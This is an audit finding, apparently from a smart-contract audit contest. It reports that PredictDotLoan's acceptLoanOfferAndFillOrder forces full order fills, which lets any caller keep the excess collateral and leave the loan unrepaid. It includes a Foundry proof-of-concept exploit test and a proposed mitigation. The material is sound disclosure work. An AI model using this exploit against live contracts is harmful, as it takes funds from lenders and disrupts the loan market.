Stable Pear Shrimp

Medium

# Loan market disruption via instant arbitrage in `acceptLoanOfferAndFillOrder`

### Summary

`PredictDotLoan::acceptLoanOfferAndFillOrder` allows _anyone_ to match between an open loan proposal and an open sell order: a loan amount is transferred to the order owner, and the sold tokens are deposited into `PredictDotLoan` as collateral for the loan. The submitter of the transaction becomes then the borrower of the loan. What the transaction is also does though, is requiring the order to be filled fully, i.e. to sell the whole maker amount. If the required loan offer collateral is less than that amount, _the excess collateral is transferred to the `msg.sender`_.  (see the PoC for demonstration).

Thus, in essence, _due to requiring to fill the order in full_ `acceptLoanOfferAndFillOrder` offers a free arbitrage opportunity between the loan offer and sell order markets, _allowing anyone to pocket the excess collateral_. This is problematic due to the following reasons:

- The opportunity to grab free funds is easily exploitable by anyone, including primitive bots. Without such transaction, an arbitrageur would need to employ a flash loan to achieve the same effect.
- The problem with the above is that arbitrageurs won't be interested in repaying the loan: they will execute the transaction solely for receiving excess collateral for free.
- With the loan not being repaid (which should be an exceptional situation), the transaction effectively represents a DoS of lender's money for the duration of the loan: a lender won't receive the loan back, and will have to go via the `call` / `seize` route. This will disrupt the loan market stability.


### Root Cause

The root cause is that [acceptLoanOfferAndFillOrder](https://github.com/sherlock-audit/2024-09-predict-fun/blob/41e70f9eed3f00dd29aba4038544150f5b35dccb/predict-dot-loan/contracts/PredictDotLoan.sol#L214-L315) requires to fill the supplied order in full:

```solidity
uint256 protocolFee = (exchangeOrder.takerAmount * protocolFeeBasisPoints) / 10_000;
uint256 fulfillAmount = exchangeOrder.takerAmount + protocolFee;
_assertProposalValidity(proposalId, proposal, positionId, fulfillAmount);

Fulfillment storage fulfillment = _getFulfillment(proposal);
uint256 collateralAmountRequired = _calculateCollateralAmountRequired(proposal, fulfillment, fulfillAmount);

if (exchangeOrder.makerAmount < collateralAmountRequired) {
    revert InsufficientCollateral();
}
...
uint256 collateralTokenBalance = _getPositionBalance(positionId);
_fillOrder(exchangeOrder, _selectExchangeForQuestionType(proposal.questionType));
{
    uint256 collateralTokenBalanceIncrease = _getPositionBalance(positionId) - collateralTokenBalance;
    if (collateralTokenBalanceIncrease < exchangeOrder.makerAmount) {
        revert OrderDidNotFill();
    }
    _transferExcessCollateralIfAny(
        positionId,
        msg.sender,
        collateralAmountRequired,
        collateralTokenBalanceIncrease
    );
```

with [_fillOrder](https://github.com/sherlock-audit/2024-09-predict-fun/blob/41e70f9eed3f00dd29aba4038544150f5b35dccb/predict-dot-loan/contracts/PredictDotLoan.sol#L935-L939) being as follows:

```solidity
function _fillOrder(Order calldata exchangeOrder, ICTFExchange exchange) private {
    LOAN_TOKEN.safeIncreaseAllowance(address(exchange), exchangeOrder.takerAmount);
    exchange.fillOrder(exchangeOrder, exchangeOrder.makerAmount);
    LOAN_TOKEN.forceApprove(address(exchange), 0);
}
```

### Attack Path

For a simple example, let's consider the following situation (_LT_ stands for loan token, _CT_ for collateral token, assume protocol fees are 0 for simplicity):

Sell Order:
- TakerAmount: 80 LT
- MakerAmount: 100 CT

Loan Offer:
 - LoanAmount: 80 LT
-  CollateralAmount: 95 CT

It can be seen that an arbitrage opportunity exists: while sell order gives 100 CT for 80 LT, loan offer requires only 95 CT for 80 LT. This is also natural: a lender aims at receiving interest, so they require less collateral, unlike the exchange, where the funds are received instantly. The example means that _an arbitrageur can instantly pocket 5 CT for free, and is not interested in repaying the loan at all_.

### Impact

Loan market will be disrupted, with loans taken _en masse_ only for the purpose of pocketing the excess collateral, and without the intention to repay the loans; denial-of-service for lenders wrt. the loan amounts.

### PoC

Drop the below test into [PredictDotLoan.acceptLoanOfferAndFillOrder.t.sol](https://github.com/sherlock-audit/2024-09-predict-fun/blob/41e70f9eed3f00dd29aba4038544150f5b35dccb/predict-dot-loan/test/foundry/PredictDotLoan.acceptLoanOfferAndFillOrder.t.sol#L37), and execute via `FOUNDRY_PROFILE=local forge test --match-test testFuzz_exploitAcceptLoanOfferAndFillOrder`

```solidity
function testFuzz_exploitAcceptLoanOfferAndFillOrder(uint8 protocolFeeBasisPoints) public {
    _updateProtocolFeeRecipientAndBasisPoints(protocolFeeBasisPoints);

    Order memory order = _createMockCTFSellOrder();
    order.takerAmount = order.takerAmount/2;

    IPredictDotLoan.Proposal memory proposal = _generateLoanOffer(IPredictDotLoan.QuestionType.Binary);
    uint256 protocolFee = (order.takerAmount * protocolFeeBasisPoints) / 10_000;
    proposal.collateralAmount = proposal.collateralAmount/2;
    proposal.loanAmount = order.takerAmount + protocolFee;
    proposal.signature = _signProposal(proposal);

    _assertBalanceAndFulfillmentBeforeExecution(borrower, lender, proposal);

    expectEmitCheckAll();
    emit OrderFilledUsingProposal(
        predictDotLoan.hashProposal(proposal),
        1,
        borrower2,
        lender,
        _getPositionId(true),
        COLLATERAL_AMOUNT/2,
        proposal.loanAmount,
        protocolFee
    );

    // Borrower2 doesn't posess CT tokens initially
    assertEq(mockCTF.balanceOf(address(borrower2), _getPositionId(true)), 0);

    vm.prank(borrower2);
    predictDotLoan.acceptLoanOfferAndFillOrder(order, proposal);

    assertEq(mockCTF.balanceOf(address(predictDotLoan), _getPositionId(true)), proposal.collateralAmount);
    
    // Borrower2 pockets the excess collateral for free
    assertEq(mockCTF.balanceOf(address(borrower2), _getPositionId(true)), proposal.collateralAmount);

    _assertLoanOfferFulfillmentData(proposal);

    (address _borrower,,,,,,,,,,) = predictDotLoan.loans(1);
    assertEq(_borrower, borrower2);
}
```

### Mitigation

Relax the conditions, and allow to fill sell orders partially; this is also allowed by the exchange interface. This way, while the user convenience is preserved, no excess collateral is transferred to `msg.sender` immediately, and no danger of loan market disruption exists. 